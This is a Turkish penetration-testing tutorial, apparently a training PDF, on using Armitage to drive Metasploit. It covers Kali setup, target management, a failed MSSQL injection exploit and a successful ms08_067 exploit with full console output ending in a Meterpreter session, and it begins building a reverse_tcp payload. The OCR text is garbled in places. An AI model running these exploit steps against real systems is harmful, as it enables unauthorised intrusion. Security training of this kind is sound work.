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1. ARMITAGE’i TANIYALIM

Armitage, sistemlere sizabilmeye yarayan gorsel etkilesimli bir programdir.
Sistemlere sizdiktan sonra ele gegirilen bilgisayarlar Uzerinden bagka bilgisayarlara
sizmak i¢in kullanilabilmektedir.

Armitage, ayni zamanda metasploit yaziliminin yapabileceklerini gorsel olarak
kontrol edebilme imkani saglayan bir yazilimdir. Armitage programi pentest
uygulamalari i¢in kullanildigindan, armitage’i iyi anlamak i¢in dnce bazi kavramlara goz
atmak gerekmektedir.

1.1 GENEL KAVRAMLAR

Metasploit: Sistemlerde bulunan agikliklarin test edilmesi ve ispatlanmasi i¢in yazilmis
bir program. Metasploit isletim sistemine benzer bir yapiya sahiptir. Olusturulmasinda
agirhkh olarak ruby ve python yazilim dilleri kullaniimigtir. Test edilecek agikliklar
sisteme moduller, payload’lar ve auxiliary’ler olarak eklenmistir.

Exploit: En yalin anlatimi ile avantajli duruma gecgebilmek igin karsi tarafa karsi
kullanilan sey. Bilgisayar dunyasinda bu bir veri yigini, bir program veya kod pargacigi
olabilir.

Auxiliary: Acikliklari tespit etmek igin yazilmis kod bloklaridir.

Post Exploit: Bir bilgisayara sizdiktan sonra sistemde bulunan diger bilgisayarlara
erigim i¢in yapilan ¢aligmalar.

Payload: Bir sistemde var olan acikligi degerlendirip sisteme sizdiktan sonra, hedef
sisteme yuklenip calistirilan ve hedef ile saldirgan arasinda kesintisiz iletisim kurmaya
yarayan yazilim ya da kod blogu.

Modul: Her agikligi sOmurmek ya da tespit etmek adina yazilan programciklar
(Payload’lar ve Auixiliary’ler)

Armitage programi, kodlara yabanci olanlar igin ve pentest c¢alismalarina yeni
baglayanlar igin tavsiye edilmektedir. Linux dunyasindaki birgok acik kaynak kod
yazilimi gibi Armitage programi da acgik kaynak bir yaziimdir. Pentest alaninda acgik
kaynak yazilimlarin Uzerinde yapilan degisiklikler sonucu ucretli hale getirilen birgok
yazilim gibi Armitage programinin da ucretli hali, Cobalt Strike, bulunmaktadir.

1.2 GENEL OLARAK SIBER SALDIRI PLANI
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Sonug olarak bu yazilim sistemlere siber saldiri araci olarak kullanilacaktir. Siber saldiri
olaylari ¢ok kapsamli ve detayl bir is 6begdi oldugu igin belirli bir plani ve metodolojisi
olmalidir.

Tarama/Hedefleri

Manuel Girme

. Uza!(tan . . Kullanici
Diger Sistemlere Zafiyet Kullanici Sifreleri Tarafii
Sizmaya Calisma Sémirme g Deneme saldiri

Sistemi
Tarama, Veri
Calma

Sistemde Olan Sizilan Sistemde

Hash'’leri alma hak yiikseltme & N

Basit olarak bir siber saldirn plan1 bu asamalardan olusmaktadir, bu tur bir saldin daha
fazla ic aglarda yapilan saldin tipidir.

2. ARMITAGE’i KULLANMAYA BASLAYALIM

2.1 ARMITAGE PROGRAMININ GALISMASI iCiN NELER GEREKLI
Armitage programi bireysel calismalara elverisli oldugu gibi takim calismalarina da
uygundur. Takim olarak g¢aligabilmek igin istemci veya sunucu olarak ¢aligsabilmektedir.
Armitage programi Windows, Linux, MacOS lzerinde kullanilabilmektedir.

Hemen belirtmekte fayda var, tim bilesenleri ile birlikte Windows Uzerinde kullanmak
mumkun degildir. Windows uzerinde sadece istemci gibi kullanabilir ve takim olarak
calisilabilir.
Armitage programinin ihtiya¢ duydugu aragclar;
e Metasploit Framework ve bilesenleri
o PostgreSQL Veritabani
o Nmap
e Oracle Java 1.7
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Bu bilesenlerin kusursuz bir gekilde yuklenmesi gerekmektedir. Bu yazilimlarin hepsinin
hazir yuklenmis bir hali Kali Linux veya Pentoo Linux igletim sistemlerinde
bulunmaktadir.

2.2 ARMITAGE KALI LINUX KURULUMU
Normal sartlarda Kali Linux isletim sisteminde Armitage programi yukli olarak
gelmektedir. Programin yUkli olmamasi durumunda asagidaki komutlar, kurulum
esnasinda sadece bir kere ¢aligtirilir.

1. Konsol agilir

2. Veritabani servisi baslatilir.

root@kali:~# service postgresql start

3. Metasploit programinin veritabaninda gerekli tablolari olusturmasi saglanir.

root@kali:~# service metasploit start

4. Metasploit servisi durdurulur.

root@kali:~# service metasploit stop

5. Kali Linux igletim sisteminin gevrimici olan indirme veritabani gtncellenir.

root@kali:~# apt-get update

6. Armitage programi kurulur

root@kali:~# apt-get install armitage

7. Eger yUklu degilse Java yuklenir (Kali Linux igletim sistemi varsayilan olarak
Java 1.7’yi kullanmaktadir)
32 bit igletim sistemi igin;

root@kali:~# update-java-alternatives --jre -s java-1.7.0-openjdk-i386

64 bit igletim sistemi igin;

root@kali:~# update-java-alternatives --jre -s java-1.7.0-openjdk-amd64
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Neden sadece Kali Linux’ta kurulum gosterilmistir?

Sizma testi bir lab ortamina gereksinim duymaktadir. ihtiya¢ duyulan tiim araglar Kali
Linux igletim sisteminde mevcuttur. Armitage programindan elde edilen bulgulari
degerlendirmek adina en yararl isletim sistemi Kali Linux’tur.

2.3 KALILINUX'TA ARMITAGE KULLANIMI
Armitage aracini Kali Linux igletim sisteminde kullanabilmek icin postgreSQL ve
Metasploit servislerinin aktif edilmesi gerekmektedir.
Kali’de Armitage kullanimi:

1. Konsol aglilir.

2. service postgresql start komutu ile postgreSQL veritabani servisi baglatilir.

] Starting PostgreSQL 9. server: main.

3. Daha once belirtildigi gibi armitage metasploit programinin gorsel halidir.
Metasploit'in sistemde verileri tuttugu sekilde verileri tutar. Bundan dolayi
metasploit servisinin bir kez c¢alistinlip veritabaninda gerekli tablolarin
olusturulmasi gerekir.

service metasploit start komutu ile metasploit servisi baglatilir.

]
]
]

4. armitage komutu girilerek program caligtirilir. Bu komut sonrasi ekran alintisi;

Connect...

127.0.0.1]
55553

msf
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5. Connect segenegi tiklanir.

Start Metasploit?

@9, A Metasploit RPC server is not running or
@ not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

|_uo|'Yes\

Metasploit RPC sunucusunun calistirimasi gerektigini belirten bir uyarn gelir, RPC
sunucusunun baslatiima oOnerisi kabul edilir. Daha sonra gerekli java uygulamalarinin
yuklenmesi beklenir, ilgili ekran alintisi;

Progress...
Connecting to 127.0.0.1:55553
java.net.ConnectException: Baglanti reddedildi
—
Cancel

‘Baglanti reddedildi” uyarisi endiseye yol acmasin, programin fonksiyonlarinin
calismasini engellememektedir.
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Armitage agildiginda ekrana gelecek olan pencere;

Armitage

Armitage View Hosts Attacks Workspaces Help
» (& auxiliary
> (& exploit
» (& payload
» [ post

av

Console X

msf >

Artik, armitage programi kullanima hazir.

2.4 ARMITAGE ARAYUZUNUN TANITILMASI

Armitage arayuzu u¢ ana panelden olusur. Moduller, Hedefler, Tablar. Bu panellere ek
olarak ve hedef sistemlere yonelmek adina “menii gubugu” altinda da bazi alt menuler
bulunmaktadir.
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Armitage

Armitage View Hosts Attacks Workspaces Help

v (& payload A
> [ aix ﬁ""'
(§-android l.v
t (& bsd .
+ (& bsdi MOd u I I er WT Amuoﬁi\}g:.s;:f@ XPSP2-
t (Bicmd
» (& firefox
> ﬁ generic
> [ java .
» (& linux ~

» (@ netware = = = = =
(= N . 1. . e Lo . o Lo . 1. . o L.
> ‘.- node]s o 192.168.1.1 192.168.1.45 192.168.1.36 192.168.1.145 192.168.1.32

mst ) > set SESSION 1

SESSION => 1

msf post( ) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf post( ) > run -j

[*] Post module running as background job

[*] Running module against XPSP2-

[*] ARP Scanning 192.168.1.0/24

[*] IP: 192.168.1.1 MAC b0:b2:dc:f6:8d:02 (Zyxel Communications Corporation)

TN. 107 160 1 26 MAC 10.&87.hN.&2.00.20 [1IILANLY
>

n[ﬁ post(

2.4.1 Moduller

Bu panelde tespit edilmis ve kullanilabilir hale getirilmis ve metasploit'e eklenmis butin
moduller bulunur. Bu kisimi incelemek, siber saldirilarda hangi tur modullerin ve
tekniklerin kullanildigini anlamak adina da g¢ok faydali olacaktir. Buradan bir modul
kullanmak istenildiginde Uzerine c¢ift tiklanmasi yeterli olacaktir. Agilan pencerede
gerekli olan alanlar doldurulup modul c¢ahgtinlabili. Daha fazla detay ilerleyen
bolimlerde ornekleri ile verilecektir.

2.4.2 Hedefler

Bu panel hedeflerin tutuldugu calisma alanidir. Cesitli tarama teknikleri ile hedeflere
ulasilabilecegi gibi manuel olarak da hedef eklenebilmektedir. Bu panel iki farkli sekilde
goruntulenebilir; Grafiksel olarak ya da Liste olarak. Eger kullanicisi ¢ok olan bir agda
calisma yapilacak ise, grafiksel olarak goruntilemek isi cok zorlagtiracaktir.

Kisayollar

Ctrl + : Hedeflerin gorunumunu yakinlagtirma.
Ctrl - : Hedefleri daha kuguk gosterme

Ctrl 0 : Zoom oranini varsiyan degerine set eder.
Ctrl A : Tum hedefleri secer

Esc : Secimi Temizle

Ctrl C : Hedefleri bir gember halinde goster

Ctrl S : Hedefleri yatay bir sira halinde goster
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Ctrl H: Hedefleri bir hiyerarsi yapisi halinde géster (ilk sizilan sistemden itibaren
dallandirilarak gosterir.
Ctrl P: Hedefleri resim olarak kaydeder

2.4.3 Tablar

Armitage programi hedeflerle ilgili tum islemleri ayri ayri tablarda tutar. Hedef
sistemlerde acilan shell oturumlari, sistemleri elde etmek igin denenen moduller vs her
bir igslem ayri bir pencerede tutulur. Armitage gelistiricileri tarafindan bu panelde de
kullaniimak Uzere bazi kisayollar olusturulmustur.

Ctrl +T : Aktif tabta ekran goruntusu almamizi saglar.

Ctri+D : Aktif olan tabi kapatir.

Ctrl+Sol :Tablar arasi gecis saglar.

Ctri+Sag :Tablar arasi gegis saglar.

Ctrl+W : Etkin olan konsol penceresini panelden bagimsiz olarak agar.

2.4.4 Konsollar

Armitage aracinin konsol penceresi kullanim ihtiyacina gore Metaploit, Meterpreter veya
Shell konsollari ile etkilesim haline geger, bu uygulamalar temsilen agilan konsol
ekranindan yonetilebilir. Yine konsollarin daha etkin kullanilabilmesi igin bazi kisayollar
olusturulmustur.

Yukari Ok: Daha once girilmis olan komutlar arasi gegis saglar.

Asagi Ok : En son yazilan komutu ekrana basar.

Tab : Yazmaya baslanan komutu tamamlamaya yarar.
Ctrl+ : Konsolun font boyutunu bayutur.

Ctrl - : Konsolun font boyutunu kugultur.

Ctrl0 : Konsolun font boyutunu varsayilan degere atar.
Ctrl F : Konsol igerisinde arama yapar.

Ctrl A : Konsol ekraninda bulunan tUm metinleri secer.
CtrIN : Yeni bir konsol ekrani agmamizi saglar.

2.4.5 Uzerinde iglem Yapilan Cihazlara Dair Kayitlar (Logging)

Armitage aracinin bilgi guvenligine yonelik testleri gergeklemek Uzere olusturuldugunu
unutulmamalidir. Bu testler esnasinda yapilan tum islemlerin bir kaydinin tutulmasi
birgok acgidan 6nemlidir. Armitage bu endiseyi ortadan kaldirmak adina her bir ip adresi
igin bir klasor olusturarak kayitlari bu klasor igerindeki log uzantil bir dosyada tutar.

Bu kayitlara ulagsmak igin
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View -> Reporting -> Activity Logs mendulerinin takip edilmesi yeterlidir.
Kayitlarin nasil olduguna dair fikir olmasi agisindan ornek bir ekran goruntusu;

<| EdHome .armitage 140609 localhost 127 "= =0 ti7ie é : Q search -

exploit.log (~/.armitage/140609/localhost/192.168.20.170) - VIM - | O

‘ ‘ File Edit Tools Syntax Buffers Window Help
exploit.log _ = = - o 5
=85 @ E #Z» @ 6 &2 %3

lisf > use exploit/windows/smb/ms08 067 netapi |~
msf exploit(ms08_067_netapi) = set LHOST 192.168.20.197
LHOST == 192.168.20.197

msf exploit(ms08_067_netapi) = set RPORT 445

RPORT == 445

msf exploit(ms08_067_netapi) = set LPORT 29754

LPORT == 29754

msf exploit(ms08_067_netapi) = set RHOST 192.168.20.170
RHOST => 192.168.20.170 m
msf exploit(ms08_067_netapi) = set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(ms08_067_netapi) = set SMBPIPE BROWSER

SMBPIPE => BROWSER

msf exploit(ms08_067_netapi) = set TARGET 0

n

Bu dosyalarin, dosya sisteminde nerede tutuldugunu gostermek adina dizin kirmizi bir
cerceve icerisine alinmigtir. Alintida goruldigu gibi tarih adi ile dosyalandigi igin
aranilan verilere ulagmak daha kolay olacaktir.

Bu log dosyalari neler yapildiginin bir kaydini elde tutmaya yaradigi gibi, metasploit
kullanmaya yeni baslayanlar igin modullerin, acgiklik taramalarinin ve acgikhgin
somurulmesinin nasil kodlandigini 6grenmesine yardimci olur. Yeni baslayanlara iyi bir
ogrenme referansi olarak kullanilabilir.

Bu dosyalari dosya sisteminde tutuldugu yere ulasarak elde edilebilecegdi gibi, armitage
arayuzunden rapor olarak disa da aktarilabilir.

3. HEDEF YONETIMI

Armitage, hedeflerin daha iyi yOnetilebilmesi icin cesitli 0zelliklere sahiptir. Simdi bu
Ozellikler incelenecektir.

3.1 HEDEF YONETIMI
Calisma alanina yeni bir hedef veya hedefler eklemek istendiginde, bu iglem iki sekilde
yapilabilir.
a. Birinci yontem
Hosts -> Import Hosts secenekleri tiklanarak.
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Armitage View JslEEN Attacks Workspaces Help

NI |mport Hosts
» [ exploit Add Hosts...
> [ payload Nmap Scan >
> [ post MSF Scans...

DNS Enumerate

Clear Database

Bu secenekler tiklandiginda, ekrana dizin diyalog penceresi agilacak, sisteme entegre
edilecek dosyayi tanitmak icin. ilgili ekran alintis;

Open

Look In: | (&5 root q [@J[@J[ﬁjlg'@

| (& Desktop
|| Ayaktakiler
|| Ayaktakiler.gnmap
|| Ayaktakiler.nmap
|| Ayaktakiler.xml

File Name:

Files of Type: | All Files 3

[ Open J[ Cancel |

Bircok tarama aracindan kayit alinabilmektedir. Tercih edilecek tarama ¢iktilari arasinda
en iyi uyumu saglayan ¢ikti . XML dosya turudur.

b. ikinci Yontem
Hosts -> Add Hosts.. segeneklerinin izlenmesi gerekmektedir.
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Armitage \_/iewAttacks Workspaces Help

> [ auxiliary | Import Hosts

I ﬁ exp|oit Add Hosts...
> [ payload Nmap Scan »
> ([ post MSF Scans...

DNS Enumerate

Clear Database

Bu adimda izlenecek yol, hedeflerin manuel olarak girilmesidir. ilgili pencerenin ekran
goruntusu;

Add Hosts
Enter one host/line:
192.168.20.170|

Add

Add butonuna tiklandiginda belirlenen adresler ¢alisma alanina eklenecektir.

3.2 DINAMIK CALISMA ALANLARI
Eger Uzerinde galisilan agda aktif olarak bulunan cihaz sayisi fazla ise, hedefleri sadece
bir calisma alaninda kontrol etmeye ¢alismak isi zorlagtiracaktir.
Uzerinde c¢alismak istenilen hedefleri igerisinde barindiran bir calisma alani
olusturulabilir.
Bunun icin, Workspace -> Manage

Armitage View Hosts Attacks BUEIESEEN Help
= e ——

> (& auxiliary Manage

> (& exploit B show Al

> (& payload ¢ 1.Aktif Galisma Alanim
> ﬁ post
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Bu seceneklerden sonra acgilacak olan pencerenin ekran alintisi,

fConsoIe X | Workspaces X

name | hosts ports os labels | session |
Aktif Galisma Alanim 192.168.20.152, 192.168.20.20... 1

Activate | | Add Edit Remove

Alintida goruldugu gibi daha once olusturulan bir galisma alani mevcut. Simdi yeni bir
tane daha eklenebilir. Bunun icin Add butonuna tiklaniimasi yeterli, acilacak olan
diyalog penceresi;

New Workspace

Name: 2. Calisma Alanim
Hosts:  192.168.20.152, 192.168.2(

Ports:

0S:

Labels:

(/] Hosts with sessions only

Add

Acilan pencerede galisma alaninin daha etkin bir sekilde olusturulabilmesi icin bazi
filtreler belirlenmisgtir.

Name: Calisma alaninin ismi (istenilen bir isim verilebilir).

Hosts: Bu kisma calismak istenilen cihazlarin IP adresleri girilir.

Ports: Bir sistemde acikliklar farkli portlar Gzerinde bulunan farkli servisler dolayisi ile
meydana gelir, etkin bir filtreleme igin bu filtre kullanilabilir.

OS: Bir agda kullanicilara bagh olmak ile birlikte farkl igletim sistemleri bulunabilir.
isletim sistemi tabanli bir filtre yapilabilir. Fakat tecriibe edildigi oranda, bu filtre kararli
calismamaktadir.

Burada en onemli filtrelerden bir tanesi Hosts with sessions only secenegidir.
Otomatik olarak agikliklarin tarandigi ve bazi cihazlar Uzerinde acikliklarindan
faydalanarak oturum acildig1 disunuldigunde, bu secenek hayat kurtarici olacaktir.

BGA Bilai Giivenligi AKADEMISI | www.baa.com.tr | bilai@baa.com.tr 14



Sizma Testlerinde ARMITAGE Kullanarak Metasploit Kullanimini Otomatiklestirme

Tekrar ana galisma alanina gegmek istendiginde, Workspace -> Show All segenekleri
ile ilerlenebilir.

Armitage View Hosts Attacks NUILEEER Help

> (& auxiliary Manage
> [ exploit | Show Al

> & payload & 1.Aktif Calisma Alanim
> [ post 2.2. Calisma Alanim

Mevcut caligsma bitirilip, raporlar i¢in gerekli veriler alindiktan sonra galisma veritabani
temizlenebilir. Bunun igin yapilmasi gereken Hosts -> Clear Database

Armitage View [EREIE] Attacks Workspaces Help
» [ auxiliary | Import Hosts

- ﬁ exp]oit Add Hosts...
> (& payload Nmap Scan I
> (& post MSF Scans...

DNS Enumerate

Clear Database

4. ACIKLIGIN SOMURULMESI (EXPLOITATION)

4.1UZAK SALDIRI YONTEMi
Armitage programi kullanicilarina hedeflerini uzaktan exploit etme (var olan agikligi
somurme) imkani saglamaktadir.
Calisma alanina hedeflerin girildigi ve isletim sistemlerini tespit edecek sekilde
taramalarin baglatildigi varsayilsin (hedef secilip sag tiklandiktan sonra scan ‘a
tiklamak yeterli).

BGA Bilai Giivenlidi AKADEMISI | www.baa.com.tr | bilai@baa.com.tr 15



Sizma Testlerinde ARMITAGE Kullanarak Metasploit Kullanimini Otomatiklestirme

Armitage View Hosts Attacks Workspaces Help

> (& auxiliary ; :
» [ exploit f ;
> (8 payload o ok >
> t ' -
= pos BTy ocrvices

Scan

Bu islem sayesinde hedefin isletim sistemi, hedefte bulunan acgik portlar ve Uzerinde
calisan servisler tespit edilir. Bu tespit o hedefe uygun agikliklarin belirlenmesi

acisindan onemlidir.
Bu taramadan sonra igletim sisteminin tespit edilmis olmasi gerekli. Ornek olarak ekran

goruntasu alinmistir.

Armitage {F'ﬁw Hosts Attacks Workspaces Help

> (5 awiliary eee———
> [ exploit :
» (& payload N

» [ post f :

Microsoft Windows XP SPO

isletim sisteminin sirimi ile birlikte tespit ettikten sonra simdi sira isletim sisteminin
barindirabilecedi acikliklari taramaya geldi. Bunun igin hazirlan ekran alintisi takip
edilebilir. Taramaya baslamadan 6nce hedefin segcili olmasina dikkat edilmelidir.

Armitage View Hosts &SN Workspaces Help

[
> [ auxiliary Find Attacks———— - :
> [ exploit Hail Mary P ‘
= .
» (& payload :
» (& post —_

192.168.260.170
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Tarama bittiginde karsilasilacak olan ekran.

Armitage View Hosts Attacks Workspaces Help

> l:ﬁ‘ auxiliary M

> (& exploit essage

» (& payload ; f ;

> (@ post ; f Attack Analysis Complete...

192.168.20.170
You will now see an 'Attack' menu attached

to each host in the Targets window.

Happy hunting!

[ox]

ilgili agikliklari gériintiileyebilmek icin hedefe sag tiklanmalidir.

Armitage View Hosts Attacks Workspaces Help

@ auxiliary || |[EEEEEE———
> [ exploit
» (& payload
»Epost | | dcerpc >
Services ;:tp :
e mssql >
Host mysq| >
novell >
oracle >
proxy >
realserver >
samba >
>

ms08_067_netapi
msl0_061_spoolss

netidentity xtierrpcpipe
timbuktu_plughntcommand_bof
pass the hash...

v

-

[ Console X T Workspaces X T Workspaces X T Scan X T Check Exploits X T
nruni — JIVUV

msf auxiliary( ) > set RHOSTS 192.168.20.170

check exploits...

Not: Burada iki noktaya deginmek gerekiyor;

1. isletim sistemin markasi kadar sirimi de onemlidir. Ama maalesef sirimi
tespit edebilmek icin, sisteme gesitli sekillerde giris yapmak gerektiginden nmap
ya da Armitage araglarinin surum bilgisi dogruyu yansitmayabilir.

2. Hedef icin onerilen acikliklar; ilk maddede deginilen belirsizlik nedeni ile
Onerilecek acgikliklarda gergegi yansitmayabilir. Ama grafiksel ara yuzu sayesinde
bu acikliklari denemek kolay oldugundan ve dahasi tum onerileri deneyebilecek
bir modull oldugundan dolayi, denemekten bir zarar gelmeyecektir (tabi glvenlik
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politikasi geregi sisteme basarisiz giris sayisinin sinirli tutulmadigi durumlarda,
aksi takdirde hedef sistem belirli bir stre erigsime kapatilabilir).

A. ONERILEN AGIKLIGIN KULLANILMASI

Basarisiz bir exploit girigimi ornegi

Onerilen agikliklardan bir tanesi tiklanarak kullanmaya baslanabilir. Hedefe sag
tiklanip bir tanesinin secilmelidir, nce basarisiz olunacak bir exploit segilsin.

Armitage View Hosts Attacks Workspaces Help
» (& auxiliary
> (& exploit
> (& payload
» (& post

vyvvyy

Services
Scan

ms09_004_sp_replwritetovarbin_sqli

mssql_payload_sqli ‘“
check exploits...

Host mysq|
novell
oracle
proxy
realserver
samba
smb

wyse

>
>
| 2
[
S
>
[
>
>

Sunu itiraf etmek gerekir ki, hedef sistemde MSSQL yukla degdil, yukarida
belirtildigi gibi Oneriler sizi bagariya goturmeyebilir.

Ama basarisiz bir exploit denemesinin ¢iktilarini gormek igin devam ederek
exploit segilsin.
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Attack 192.168.20.170

Microsoft SQL Server Payload Execution via SQL Injection

This module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once
a vulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is
necessary to specify the exact pomt where the SQL |njectlon vulnerability happens. For example, given the
following injection: http://wwwWe TEXE mdshell 'dir';--&cat=electrical you would
need to set the following path: set GET PATH /showproduct asp?id={l;[SQLi];--&cat=foobar In regard to the

payload, unless there is a cldsed poﬂﬂé\mxgwﬁﬁ Bnt to use any "bind" payload, specially on
port 80, as you will stop reaching th qu want a "reverse" payload, probably to
your port 80 or to any other putbound port allowed on the firewall. Hor privileged ports execute Metasploit
msfconsole as root. Currently dl. First, the original method uses Windows
‘debug.com’. File size restrlct|ons are avoidied by mcorporatmg the debug bypass method presented by
SecureStat at Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems. A second

method takes advantage of the Command Stager subsystem. This allows using various techniques, such as

Targets: |0 == Automatic _j

Address (for connect backs)
|_J Use areverse connection

ow a van TIons

cikhgi ku anmak igin detayh
s neklerl | Launch |

Armitage kullaniciya metasploitin konsol komutlarindan uzak, guzel bir arayluz
olanagini saglar.

Acikhgl daha garantili bir sekilde somurebilmek igin “A¢ikhgin Parametreleri’ ve
‘Acikhgr kullanmak icin detayli segenekler’ kisimlarindan faydaniimalhdir.

Simdi  gerekli ayarlamalarin  yapildigi ve gahlgtinimaya hazir oldugu
varsayllmaktadir.

Daha once belirtildigi gibi her exploit girisimi igin yeni bir konsol agilir ve hedef ile
iletisim o konsol Uzerinden devam eder.

Console X | exploit X]

using a TFTP server, to send the executable. By default the Command Stager uses 'wcsript.exe' to generate the |¥
Option 4 | Value

COOKIE B
DATA -

DELIVERY Acikh@in Parametoeleri

EXE::Custom +

GET_PATH /

LHOST 0 102 160 20 107 v

LUUNRLL =~
msf exploit( ) > set DELIVERY OLD
DELIVERY => OLD “

msf exploit( ) > exploit -j

[*] Exploit running as background job.

[*] Started bind handler
[*] Wwarning: This module will leave eexZRlEb.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk...

Exploit failed [no-target]l: The SQL injection parameter was not specified in the GET path
msf exploit( ) >

Bu ekran alintisinda da belirtildigi gibi exploit girisimi basarisizlik ile sonuglandi.
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- Basarih bir exploit girigimi
ms08-067 acikligi ¢ok basarili ve uzaktan saldiriya olanak verdigi igin ¢ok

kullanigh bir exploitttir.

Hedefe sag tiklayip ve ms08-067 agikligi segilir.

Armﬂge View Hosts Attacks Workspaces Help

> (&5 auxiliary
> (& exploit
> (& payload
> [_ﬁ post

-

Console X | exploit X]

dcerpc
http

iis

mssql
mysq|
novell
oracle
proxy
realserver
samba

Login
I Services
B Scan

Host

A Y V V VYV V VY Y YYY

ms08_067_netapi
msl0_061_spoolss
netidentity xtierrpcpipe
timbuktu_plughntcommand_bof
pass the hash...

v

check exploits...

Acikhk tiklandiginda

ekrana gelecek olan pencereyi gormek adina ekran

alintisini hazirlanimigtir.
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Attack 192.168.20.170

Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll A
through the Server Service. This module is capable of bypassing NX on some operating [
svstems and service packs. The correct taraet must be used to prevent the Server LY

-

Option

4| Value

LHOST
LPORT
|RHOST +
RPORT
SMBPIPE

192.168.20.197
20522
192.168.20.170
445

BROWSER

Targets: [0 => Automatic Targeting

| | Use areverse connection

|| Show advanced options

Launch

Acikliklarin parametrelerine dikkat edilmelidir. Alintida goruldigu Uzere bazi
degerlerin yaninda + isareti var, bunun manasi o degerin bos olamayacagi.
Degistirmek istedigimiz deger icin “Value” kolonu altindaki ilgili yere ¢ift tiklamak

yeterli. Simdi exploit galistirilabilir.

Exploitin galismasi esnasinda ekrana dokulecek olan bildirimler;
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exploit

I mst > use exploit/windows/smb/ms08_067 netapi

msf exploit( ) > set LHOST 192.168.20.197
LHOST => 192, 168.20.197

msf exploit( ) > set RPORT 445

RPORT => 445

msf exploit( ) > set LPORT 20522

LPORT => 20522

msf exploit( ) > set RHOST 192.168.20.170
RHOST => 192,168.,20.170

msf exploit( ) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

msf exploit( ) > set SMBPIPE BROWSER
SMBPIPE => BROWSER

msf exploit( ) > set TARGET 0
TARGET => 0

msf exploit( ) > exploit -j
Exploit running as background job.
Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English
Selected Target: Windows XP SPO/SP1 Universal
Attempting to trigger the vulnerability...
Sending stage (769024 bytes) to 192.168.20.170
Meterpreter session 4 opened (192.168.20,197:50341 -> 192,168,20.170:20522) at 2014-06-09 11:13

Bu Exploitin basarli oldugu, “Meterpreter session 4 opened” bildirimden
anlasilabilir. Bu arada bir sistemde meterpreter oturumu agildiginda, sistem artik
saldirgan kontrolu altinda demektir.

4.2 KULLANICI TARAFLI SALDIRI
4.2.1 Payload Olusturulmasi

Bu bolumde kullanici tarafli saldirinin nasil hazirlanacagi, hedef sistem ile
saldirgan aramizda nasil baglanti kurulacagi anlatilacaktir.

Her hedef kolayca ve uzaktan somurulecek kadar zafiyet icermeyebilir.
Yayimlanan guncellemeleri zamaninda uygulayan bir hedef artik kolay bir hedef
degildir. Anti virus programi kullanan bir hedef kolay bir hedef degildir.

Guncellemeleri takip eden ve guvenlik onlemleri alan bir hedefe sizmak baska
teknikler gerektirir. Bu tekniklerden bir tanesi Payload (hedef ile saldirgan
arasinda bir iletisim kanali istediginde bulunacak ve bu trafigi yonetecek olan
programcik) olusturmak gerekir. Hedef, bir sekilde olusturulan programi galistirir
ise saldirgan ile direk olarak temasa gecer.
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Hedefle saldirgan arasinda iletisim kurmasi amaci ile birgok dosya tipi
olusturulabilir. Bunlardan bazilari;
* Exe uzantili programciklar
Word dosyalari
Excel dosyalari
PDF dosyalari
* HTML sayfalari...
Goruldugu gibi saldin amagh kullanilabilecek birgok dosya tlrd mevcut. Bu dosya
turlerini kullanarak sistemlere sizabilmek icin farkl payload turleri olusturmak gerekli.

Metasploit programinin zengin bir payload kuatiphanesi bulunmakta. Armitage
Metasploit programinin gorsel hali oldugu igin ayni kutuphaneye gorsel bir sekilde
ulasilabilir. Armitage igerisinde bulunan payload kategorileri;

¥ (& payload
> [ﬁ‘ aix
» [ android
» (& bsd
> (& bsdi
» [& cmd
> generic
> [ java
» (& linux
> [ﬁ‘ netware
» [ nodejs
» [ osx
> (& php
> [& python
» (& ruby
» [ solaris
> (8 tty

= W
» (@ windows

—~

Goraldugu gibi  birgok platform icin  hazirlanmig payload bulunmakta. Windows
klasorunu genisletilip ve gesitleri gorulebilir.
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v (& windows
|| adduser
» (& dllinject
|| dns_txt_query_exec
|| download_exec
[ exec
" loadlibrary
‘| messagebox
» [ meterpreter
| metsvc_bind_tcp
'_ metsvc_reverse_tcp
» ([ patchupdllinject
> ﬁ patchupmeterpreter
> [ shell
"' shell_bind_tcp
|| shell_bind_tcp_xpfw
|| shell_reverse_tcp
|| speak_pwned
» [ upexec
» (& vncinject |

> [ x64 \

Daha 6nce belirtildigi gibi meterpreter ¢cok basarili ve kapsamli bir oturum yonetme araci
oldugu i¢in bir sistemde bu oturumu agabilmeye c¢alismak, istenilen verilere ulasabilmek
acisindan 6nemli olacaktir.

Meterpreter oturumunun elde edilebilecegi saldiri gesitlerini gostermek adina hazirlanan
ekran goruntusu;
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Armitage View Hosts Attacks Wor

v ﬁ meterpreter
| bind_ipv6_tcp
| bind_nonx_tcp
|| bind_tcp
|| bind_tcp_rc4
|| find_tag
|| reverse_http
|| reverse_https
|| reverse_https_proxy
|| reverse_ipv6_http
|| reverse_ipv6_https
|| reverse_ipv6_tcp
|| reverse_nonx_tcp
|| reverse_ord_tcp
"I reverse_tcp
|| reverse_tcp_allports
|| reverse_tcp_dns
|| reverse_tcp_rc4
B reverse_tcp_rc4_dns
|| metsvc_bind_tcp
D metsvc_reverse_tcp

Yine bu cesitler arasinda “reverse_tcp”, “reverse_http” ve “reverse_https” en popduler ve
kararli saldiri teknikleridir.
Ornek saldir “reverse_tcp” teknigi ile yapilacaktir.
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windows/meterpreter/reverse_tcp

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Connect back to the attacker, Inject the meterpreter server DLL via the
Reflective DIl Injection payload (staged)

-

Option 4 | Value

Encoder x86/shikata_ga_nai
EXITFUNC process

Iterations 3
KeepTemplateWorking

LHOST 192,168.20.197
LPORT 29014

Template +

Output: | multi/handler 3

|| Show advanced options

Launch

reverse_tcp secildiginde ekrana gelecek olan pencere.
Bazi parametrelerin ozellikleri;
Encoder; derlenecek olan programin derlenme seklini belirler.

LHOST; Payload calistirildiginda uzak bir sisteme baglanti agmak isteyecektir.
Baglanilacak hedefin adresi LHOST adresidir.

